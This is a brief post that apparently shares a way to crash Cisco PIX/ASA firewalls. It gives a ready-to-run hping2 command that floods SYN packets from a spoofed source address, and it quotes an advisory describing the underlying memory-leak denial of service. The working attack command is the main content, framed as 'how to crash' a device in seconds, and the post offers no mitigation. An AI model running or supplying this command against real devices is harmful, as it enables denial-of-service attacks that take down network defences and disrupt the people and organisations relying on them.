OMG: Cisco PIX crashes with hping2

How to crash a PIX/ASA firewall device in 5 seconds

$sudo hping2 –fast -p 22 -w 1518 -S -d 26201 -a [fake_IP_source] [your_PIX]











"A memory leak exists in numerous releases of Cisco PIX and ASA security appliance software. Sending a sufficient number of properly crafted TCP packets to a Cisco ASA or PIX security appliance interface results in a sustained denial of service condition"

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